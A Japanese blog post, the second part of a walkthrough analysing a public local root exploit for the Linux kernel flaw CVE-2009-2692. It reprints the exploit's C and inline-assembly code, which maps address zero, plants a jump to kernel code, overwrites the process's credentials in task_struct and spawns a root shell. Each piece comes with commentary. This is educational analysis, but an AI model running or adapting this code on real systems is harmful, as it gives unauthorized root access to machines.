2011/06/26

Androidでrootを取れるcve-2009-2692を見る(後半)

前回はアドレス0x00000000がどうやって実行されるのかを書いた。後半は何が実行されるのかを調べる。

もう一度exploitを見てみる。

int main(void) {
    char template[] = "/tmp/padlina.XXXXXX";
    int fdin, fdout;
    void *page;

    uid = getuid();
    gid = getgid();
    setresuid(uid, uid, uid); // 現在のプロセスのtask_structにuid,uid,uidの並びをセット。
    setresgid(gid, gid, gid); //

    if ((personality(0xffffffff)) != PER_SVR4) {
        if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
            perror("mmap");
            return -1;
        }
    } else {
        if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) { // 0 - 0x1000までREAD,WRITE,EXECにする。
            perror("mprotect");
            return -1;
        }
    }

    *(char *)0 = '\x90'; // nop
    *(char *)1 = '\xe9'; // jmp
    *(unsigned long *)2 = (unsigned long)&kernel_code - 6; // 0xe9はrelative jumpであることに注意。90 e9 hh hh hh hhで6。

    if ((fdin = mkstemp(template)) < 0) { // 一時ファイルを生成(templateより)
        perror("mkstemp");
        return -1;
    }

    if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
        perror("socket");
        return -1;
    }

    unlink(template); //作ったファイルネームを削除。
    ftruncate(fdin, PAGE_SIZE); // fdinをPAGE_SIZEに拡張。中身は0が書き込まれる。
    sendfile(fdout, fdin, NULL, PAGE_SIZE);
}

task_structの領域にsetresuidでuid,uid,uidの並びをセットする。
その後run.cでセットしてたpersonalityをチェックし、
mmap & mprotectで0x00000000から0x1000バイトに0を書きこみREAD,WRITE,EXEC属性をつける。

もちろんrun.cでpersonalityをPER_SVR4にしておかないとこんな事はできない。

ここまできたら0x00000000に実行用のコードを埋めこんでここを実行させる(sock_sendpageさせる)のみ。
0x00000000にはnop(0x90)を、
0x00000001にはjmp (kernel code - 6のアドレス)と書きこむ。kernel codeのアドレスを0x12345678とすると

90 e9 12 34 56 72

となる。e9はrelative jumpなことに注意。つまり0x06からの距離。
ここでkernel_code関数に飛ぶ。

void kernel_code()
{
    int i;
    uint *p = get_current();

    for (i = 0; i < 1024-13; i++) { // task_structの中をいじる。setresuidされて入ったuidとかgidとかをみつける--> そこを0に(root)
        if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
             p[0] = p[1] = p[2] = p[3] = 0;
            p[4] = p[5] = p[6] = p[7] = 0;
            p = (uint *) ((char *)(p + 8) + sizeof(void *));
            p[0] = p[1] = p[2] = ~0;
            break;
        }
        p++;
    }

    exit_kernel();
}

kernel_code関数はまずget_currentを呼びtask_structのアドレスを得る。
get_current関数を見てみると、

static inline __attribute__((always_inline)) void *get_current()
{
    unsigned long curr;

    __asm__ __volatile__ (
        "movl %%esp, %%eax ;"  // espの値をeaxにセット
        "andl %1, %%eax ;"     // eaxの13ビットをクリア
        "movl (%%eax), %0"     // (%eax)をr(どのレジスタでもよいという事)にセット -> つまりcurrになる。
        : "=r" (curr)
        : "i" (~8191)          // 8101 = 0x1fff
    );
    return (void *) curr;      // 現在のespを0xffffe000でマスクした物を返す。
}

プロセスはkernel中にthread_info構造体とカーネルスタックを持つ。これらは2つのページに連続してある。
thread_info構造体の第一要素はtask_struct(以下を参照)、1pageの大きさは0x1000 (4096)。
thread_infoは前半のほうなので(偶数番目) 0x2000にある。

/** arch/x86/include/asm/thread_info.h **/
struct thread_info {
    struct task_struct    *task;        /* main task structure */
    /* 略 */
};

つまりget_current関数でtask_structのcurrentを得るということ。


currentを得た後は、for (i = 0; i < 1024-13; i++) のループを始めるわけだが、このコードのしたい事は、
if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid)
この部分でメモリ上でuid,uid,uid,uid,gid,gid,gid,gidと並んでいるところを捜して、そこを0にするという物。uid=0はrootを意味するから。
でも、task_structみてもそんな並びの部分ねえよ。。task_struct->real_cred内に権限情報があるからこんな方法でアクセスできないし。

と思ってlinux-2.6.22.3を見てみたらバッチリあった。

/** include/linux/sched.h (linux-2.6.22.3) **/
struct task_struct {
       /* 略 */
/* process credentials */
    uid_t uid,euid,suid,fsuid;
    gid_t gid,egid,sgid,fsgid;

}

直書き…
とにかくここが0,0,0,0,0,0,0,0になる。
つまり昔のコードではちゃんと狙い通り動くと。cve-2009-2692の脆弱性は2.6.30.4まで存在するが、このexploitは2.6.30.4では動かない。まあ実際試したわけじゃないが。
まあexploitの動作を理解するためだしいいか。
ちなみにこのuid,uid,uidっていう並びを捜すのは昔のexploitでは定番の手法だったらしい。なるほど…


あとはexploitの最後、exit_kernel関数。

#define USER_CS    0x73
#define USER_SS    0x7b
#define USER_FL    0x246
#define STACK(x) (x + sizeof(x) - 40)

static inline __attribute__((always_inline)) void exit_kernel()
{
    __asm__ __volatile__ (
        "movl %0, 0x10(%%esp) ;"
        "movl %1, 0x0c(%%esp) ;"
        "movl %2, 0x08(%%esp) ;"
        "movl %3, 0x04(%%esp) ;"
        "movl %4, 0x00(%%esp) ;"
        "iret"
        :  // 出力レジスタはない。
        : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
            "i" (USER_CS), "r" (exit_code)
        );
}

これは適当な数字をスタックに積んで(その領域を使わせるようにして) iretする。
intする前のEIPはexit_codeのアドレスという事にしておく。するとシステムコールから帰った後はexit_codeのアドレスから実行を再開。することになる。
これでカーネルモードは終わり。ユーザモードに帰った後は、今きちんとrootかどうかを確認して、

void exit_code()
{
    if (getuid() != 0) {
        fprintf(stderr, "failed\n");
        exit(-1);
    }

    execl("/bin/sh", "sh", "-i", NULL); // -i はインタラクティブ
}

rootなら
"/bin/sh -i"を実行!!

これでroot shellゲット。exploit成功というわけだ。

0 件のコメント:

コメントを投稿